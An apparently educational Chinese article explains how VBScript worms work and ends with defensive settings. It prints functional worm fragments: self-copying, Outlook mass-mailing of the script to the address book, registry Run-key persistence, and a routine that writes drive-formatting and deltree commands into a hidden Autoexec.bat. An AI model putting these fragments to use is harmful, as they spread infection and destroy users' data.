實(shí)例解析蠕蟲病毒的原理

如今對大家的電腦威脅最大的就屬網(wǎng)絡(luò)蠕蟲病毒了!網(wǎng)絡(luò)蠕蟲病毒的危害之大簡直令人吃驚,從大名鼎鼎的“愛蟲”到“歡樂時(shí)光”,再到“紅色代碼”,其破壞力越來越強(qiáng),因此我們有必要了解網(wǎng)絡(luò)蠕蟲病毒。
?

  蠕蟲病毒與一般的計(jì)算機(jī)病毒不同,它不采用將自身拷貝附加到其他程序中的方式來復(fù)制自己,所以在病毒中它也算是一個(gè)“另類”。蠕蟲病毒的破壞性很強(qiáng),部分蠕蟲病毒不僅可以在因特網(wǎng)上興風(fēng)作浪,局域網(wǎng)也成了它們“施展身手”的舞臺――蠕蟲病毒可以潛伏在基于客戶機(jī)/服務(wù)機(jī)模式的局域網(wǎng)的服務(wù)機(jī)上的軟件內(nèi),當(dāng)客戶機(jī)訪問服務(wù)機(jī),并對有毒的軟件實(shí)施下載后,病毒就神不知、鬼不覺地從服務(wù)機(jī)上“拷貝”到客戶機(jī)上了。

  其實(shí)腳本病毒是很容易制造的,它們都利用了視窗系統(tǒng)的開放性的特點(diǎn)。特別是COM到COM+的組件編程思路,一個(gè)腳本程序能調(diào)用功能更大的組件來完成自己的功能。以VB腳本病毒(如歡樂時(shí)光、?I?Love?You?、庫爾尼科娃病毒、Homepage病毒等)為例,他們都是把.vbs腳本文件添在附件中,最后使用*.htm.vbs等欺騙性的文件名。下面我們詳細(xì)了解一下蠕蟲病毒的幾大特性,從中找到對付蠕蟲病毒的方法。

  一、蠕蟲病毒具有自我復(fù)制能力

  我們以普通的VB腳本為例來看看:?
JavaScript代碼

???
1.? Set? objFs=CreateObject?("Scripting.FileSystemObject")????
???
2.? '創(chuàng)建一個(gè)文件系統(tǒng)對象???
???
3.? objFs.CreateTextFile?( "C:\virus.txt" ,? 1 )???
???
4.? '通過文件系統(tǒng)對象的方法創(chuàng)建了一個(gè)TXT文件。???

如果我們把這兩句話保存成為.vbs的VB腳本文件,點(diǎn)擊就會在C盤中創(chuàng)建一個(gè)TXT文件了。倘若我們把第二句改為:??
JavaScript代碼

???
1.? objFs.GetFile?(WScript.ScriptFullName).Copy?( "C:\virus.vbs" )???

就可以將自身復(fù)制到C盤virus.vbs這個(gè)文件。本句前面是打開這個(gè)腳本文件,WScript.ScriptFullName指明是這個(gè)程序本身,是一個(gè)完整的路徑文件名。GetFile函數(shù)獲得這個(gè)文件,Copy函數(shù)將這個(gè)文件復(fù)制到C盤根目錄下virus.vbs這個(gè)文件。這么簡單的兩句就實(shí)現(xiàn)了自我復(fù)制的功能,已經(jīng)具備病毒的基本特征――自我復(fù)制能力。
 
  二、蠕蟲病毒具有很強(qiáng)的傳播性

  病毒需要傳播,電子郵件病毒的傳播無疑是通過電子郵件傳播的。對于OutLook來說地址簿的功能相當(dāng)不錯(cuò),可是也給病毒的傳播打開了方便之門。幾乎所有通過OutLook傳播的電子郵件病毒都是向地址簿中存儲的電子郵件地址發(fā)送內(nèi)同相同的腳本附件完成的??纯慈缦碌拇a:
JavaScript代碼

???
1.? Set? objOA=Wscript.CreateObject?( "Outlook.Application" )????
???
2.? '創(chuàng)建一個(gè)OUTLOOK應(yīng)用的對象???
???
3.? Set? objMapi=objOA.GetNameSpace?( "MAPI" )???
???
4.? '取得MAPI名字空間????
???
5.? For? i= 1? to? objMapi.AddressLists.Count????
???
6.? '遍歷地址簿???
???
7.? Set? objAddList=objMapi.AddressLists?(i)???
???
8.? For? j= 1? To? objAddList.?AddressEntries.Count???
???
9.? Set? objMail=objOA.CreateItem?( 0 )???
??
10.? objMail.Recipients.Add?(objAddList.?AddressEntries?(j))???
??
11.? '取得收件人郵件地址????
??
12.? objMail.Subject= "你好!"????
??
13.? '設(shè)置郵件主題???
??
14.? objMail.Body= "這次給你的附件,是我的新文檔!"???
??
15.? '設(shè)置信件內(nèi)容????
??
16.? objMail.Attachments.Add?(“c:\virus.vbs ")????
??
17.? '把自己作為附件擴(kuò)散出去???
??
18.? objMail.Send???
??
19.? '發(fā)送郵件????
??
20.? Next????
??
21.? Next????
??
22.? Set? objMapi= Nothing????
??
23.? '清空objMapi變量,釋放資源,值得學(xué)習(xí)的編程習(xí)慣???
??
24.? Set? objOA= Nothing???
??
25.? '清空objOA變量???

  這一小段代碼的功能是向地址簿中的用戶發(fā)送電子郵件,并將自己作為附件擴(kuò)散出去。這段代碼中的第一行是創(chuàng)建一個(gè)Outlook的對象,是必不可少的。在其下是一個(gè)循環(huán),在循環(huán)中不斷地向地址簿中的電子郵件地址發(fā)送內(nèi)容相同的信件。蠕蟲病毒就是這樣進(jìn)行傳播的。

  三、蠕蟲病毒具有一定的潛伏性

  要使病毒潛伏,對于“腳本”語言并不是很難的一件事,因?yàn)檫@種語言并不是面向?qū)ο蟮目梢暬幊?,自然就不存在窗體,所以可以免去隱藏窗體的麻煩。從I?love?you病毒中,很容易看出蠕蟲病毒在潛伏時(shí)的特點(diǎn),它們多數(shù)是修改注冊表等信息以判斷各種條件及取消一些限制。以下是從I?love?you病毒中提取出的部分代碼:?
JavaScript代碼

???
1.? On?Error?Resume?Next????
???
2.? '容錯(cuò)語句,避免程序崩潰???
???
3.? dim? wscr,rr???
???
4.? set? wscr=CreateObject?( "WScript.Shell" )???
???
5.? '擊活?WScript.Shell?對象????
???
6.? rr=wscr.RegRead?( "HKEY_CURRENT_USER\Software\Microsoft\Windows?Scripting?Host\Settings\Timeout" )????
???
7.? '讀入注冊表中的超時(shí)鍵值???
???
8.? if? (rr>= 1 )? then???
???
9.? '超時(shí)設(shè)置????
??
10.? wscr.RegWrite? "HKEY_CURRENT_USER\Software\Microsoft\Windows?Scripting?Host\Settings\Timeout" , 0 , "REG_DWORD"????
??
11.? end?if???

  上面這部分代碼很明顯是調(diào)整腳本語言的超時(shí)設(shè)置。下面的一段代碼則是修改注冊表,使得每次系統(tǒng)啟動自動執(zhí)行腳本:?
JavaScript代碼

???
1.? regcreate? "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32" ,dirsystem "\MSKernel32.vbs"????
???
3.? regcreate? "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL" ,dirwin "\Win32DLL.vbs"???

其中MSKernel32.vbs和Win32DLL.vbs是病毒腳本的一個(gè)副本。怎么樣,看出蠕蟲病毒是怎樣潛伏的吧?

四、蠕蟲病毒具有特定的觸發(fā)性

  在這里我們以時(shí)間觸發(fā)為例,使用一個(gè)很簡單的判斷程序,來判斷時(shí)間到了沒有,如果有就開始執(zhí)行代碼。好,我們看看程序:?
JavaScript代碼

???
1.? x=time?()????
???
2.? if? x=xx.xx.xx? then????
???
3.? …………????
???
4.? end?if???

  就這么簡單一個(gè)程序,就可以實(shí)現(xiàn)特定條件觸發(fā)事件的目的。當(dāng)然了,病毒制作者還可以通過監(jiān)視運(yùn)行某個(gè)程序而觸發(fā)事件,也可以響應(yīng)鍵盤觸發(fā)事件等等。

  五、蠕蟲病毒具有很大的破壞性

  蠕蟲病毒的破壞性大家都有所了解吧?我們以著名的蠕蟲病毒Jessica?Worm中的部分破壞代碼為例來加以分析說明:?
JavaScript代碼

???
1.? sub? killc?()????
???
2.? '破壞硬盤的過程???
???
3.? On?Error?Resume?Next???
???
4.? '容錯(cuò)語句,避免程序崩潰????
???
5.? dim? fs,auto,disc,ds,ss,i,x,dir????
???
6.? Set? fs?=?CreateObject?( "Scripting.FileSystemObject" )????
???
7.? Set? auto?=?fs.CreateTextFile?( "c:\Autoexec.bat" ,? True )????
???
8.? '建立或修改自動批處理???
???
9.? auto.WriteLine?( "@echo?off" )???
??
10.? '屏蔽掉刪除的進(jìn)程????
??
11.? auto.WriteLine?( "Smartdrv" )????
??
12.? '加載磁盤緩沖,好毒?。???
??
13.? Set? disc?=?fs.Drives???
??
14.? '得到驅(qū)動器的集合????
??
15.? For?Each? ds? in? disc????
??
16.? If? ds.DriveType?=? 2? Then????
??
17.? '如果驅(qū)動器是本地盤???
??
18.? ss?=?ss?& ds.DriveLetter???
??
19.? '就將符號連在一起????
??
20.? End?if????
??
21.? Next????
??
22.? ss=LCase?(StrReverse?(Trim?(ss)))????
??
23.? '得到符號串的反向小寫形式???
??
24.? For? i= 1? to? Len?(ss)???
??
25.? '遍歷每個(gè)驅(qū)動器????
??
26.? x= Mid? (ss,i, 1 )????
??
27.? '讀每個(gè)驅(qū)動器的符號???
??
28.? auto.WriteLine?( "format/autotest/q/u?" &x& ":" )???
??
29.? '反向?(從Z:到A:)自動格式化驅(qū)動器,狠毒?。????
??
30.? next????
??
31.? For? i= 1? to? Len?(ss)????
??
32.? x= Mid? (ss,i, 1 )????
??
33.? auto.WriteLine?( "deltree/y?" &x ":" )????
??
34.? '怕Format失效用Deltree雙保險(xiǎn),知道厲害了吧???
??
35.? next???
??
36.? auto.Close???
??
37.? '關(guān)閉批處理文件????
??
38.? set? dir=fs.GetFile?( "c:\Autoexec.bat" )????
??
39.? dir.attributes=dir.attributes+ 2????
??40.?
'將自動批處理文件改為隱藏????
??
41.? End?sub???

  如果以前你沒有親身體驗(yàn)到蠕蟲病毒的厲害,那么從這個(gè)小例子中,你應(yīng)該知道蠕蟲病毒的厲害了吧?

  六、反擊蠕蟲病毒

  我們已經(jīng)了解網(wǎng)絡(luò)蠕蟲病毒的構(gòu)造,現(xiàn)在可以逐個(gè)擊破網(wǎng)絡(luò)蠕蟲病毒幾大功能模塊。使網(wǎng)絡(luò)蠕蟲病毒不能這么橫行無忌的破壞我們的電腦及盜竊我們的資料。

  1.首先我們應(yīng)該先看看如何破解病毒的破壞力最強(qiáng)的功能模塊――病毒的破壞性。

  網(wǎng)絡(luò)蠕蟲病毒不可能像傳統(tǒng)病毒一樣調(diào)用匯編程序來實(shí)現(xiàn)破壞功能。它只能通過調(diào)用已經(jīng)編譯好的帶有破壞性的程序來實(shí)現(xiàn)這一功能。那么我們就把本地的帶有破壞性的程序改名字,比如把format.com改成fmt.com,那樣病毒的編輯者就無發(fā)實(shí)現(xiàn)用調(diào)用本地命令來實(shí)現(xiàn)這一功能。(這方法簡單易行并不影響電腦的正常使用,但也有其不足的地方,我們會在下文中會對其不足進(jìn)行說明。)

  2.我們再看看如何破解病毒的潛伏性及觸發(fā)性功能模塊。

  它是通過死循環(huán)語句完成的,且一開機(jī)就運(yùn)行這程序,等待觸發(fā)條件。用Ctrl+Alt+Del彈出關(guān)閉程序?qū)υ捒蚍娇煽匆娨粋€(gè)叫?Wscript.exe的程序在后臺運(yùn)行(那樣的程序不一定是病毒,但病毒也常常偽裝成那樣的程序),我們?yōu)榱朔乐共《緦ξ覀兊臋C(jī)算機(jī)進(jìn)行破壞,我們不得不限制這類程序的運(yùn)行時(shí)間(寧可錯(cuò)殺一千,也不可放過一個(gè)),以達(dá)到控制的效果。首先在“開始”菜單的“運(yùn)行”里輸入“Wscript”,然后會彈出一個(gè)窗體。單擊“經(jīng)過以下數(shù)秒終止腳本”前面的復(fù)選框,使復(fù)選框前面打起鉤,然后調(diào)整下方的時(shí)間設(shè)為最小值即可。這樣可以破解一部分這樣的病毒的潛伏,消除潛伏性自然觸發(fā)性就破解了。

  另外,由于蠕蟲病毒大多是用VBScript腳本語言編寫的,而VBScript代碼是通過Windows?Script?Host來解釋執(zhí)行的,因此將Windows?Script?Host刪除,就再也不用擔(dān)心這些用VBS和JS編寫的病毒了!從另一個(gè)角度來說,Windows?Script?Host本來是被系統(tǒng)管理員用來配置桌面環(huán)境和系統(tǒng)服務(wù),實(shí)現(xiàn)最小化管理的一個(gè)手段,但對于大部分一般用戶而言,WSH并沒有多大用處,所以我們可以禁止?Windows?Script?Host。

  卸載Windows?Scripting?Host:

  在Windows98中(NT4.0以上同理),打開“控制面板”,打開“添加/刪除程序”,點(diǎn)選“Windows安裝程序”,再鼠標(biāo)雙擊其中的“附件”一項(xiàng),然后再在打開的窗口中將“Windows?Scripting?Host”一項(xiàng)的“對勾”去掉,然后點(diǎn)“確定”,再點(diǎn)“確定”,這樣就可以將Windows?Scripting?Host卸載。

  如果你嫌麻煩,可以到Windows目錄中,找到WScript.exe和JScript.exe,更改其名稱或者干脆刪除。

  3.接下來就該破解病毒的自我復(fù)制能力功能模塊。

  大多數(shù)利用VBscript編寫的病毒,自我復(fù)制的原理基本上是利用程序?qū)⒈旧淼哪_本內(nèi)容復(fù)制一份到一個(gè)臨時(shí)文件,然后再在傳播的環(huán)節(jié)將其作為附件發(fā)送出去。而該功能的實(shí)現(xiàn)離不開“FileSystemObject”對象,因此禁止了“FileSystemObject”就可以有效的控制VBS病毒的傳播。具體操作方法:用regsvr32?scrrun.dll?/u這條命令就可以禁止文件系統(tǒng)對象。

  4.破解完了以上四個(gè)功能模塊,自然第五個(gè)功能模塊傳播性就不攻自破了。你還記不記得以上我們所說過的破解功能模塊的不足,雖然限制別人不能調(diào)用你的帶有破壞性的程序,但你也別忘了,別人可以用網(wǎng)頁拷貝的方式放入你的計(jì)算機(jī)中,再通過以上方法對你的計(jì)算機(jī)進(jìn)行危害。要徹底防治網(wǎng)絡(luò)蠕蟲病毒,還須設(shè)置一下你的瀏覽器。方法是:在IE窗口中點(diǎn)擊“工具→Internet選項(xiàng),在彈出的對話框中選擇“安全”標(biāo)簽,再點(diǎn)擊“自定義級別”按鈕,就會彈出“安全設(shè)置”對話框,把其中所有ActiveX插件和控件以及Java相關(guān)全部選擇“禁用”即可。不過,這樣做在以后的網(wǎng)頁瀏覽過程中可能會造成一些正常使用?ActiveX的網(wǎng)站無法瀏覽。有利就有弊,您還是自己看著辦吧。

  只要用了以上的方法就可以有效地防范蠕蟲病毒,現(xiàn)在,你不會認(rèn)為蠕蟲病毒可怕了,至少,對蠕蟲病毒的神秘感打消了吧?如是,則達(dá)到了我們的目的!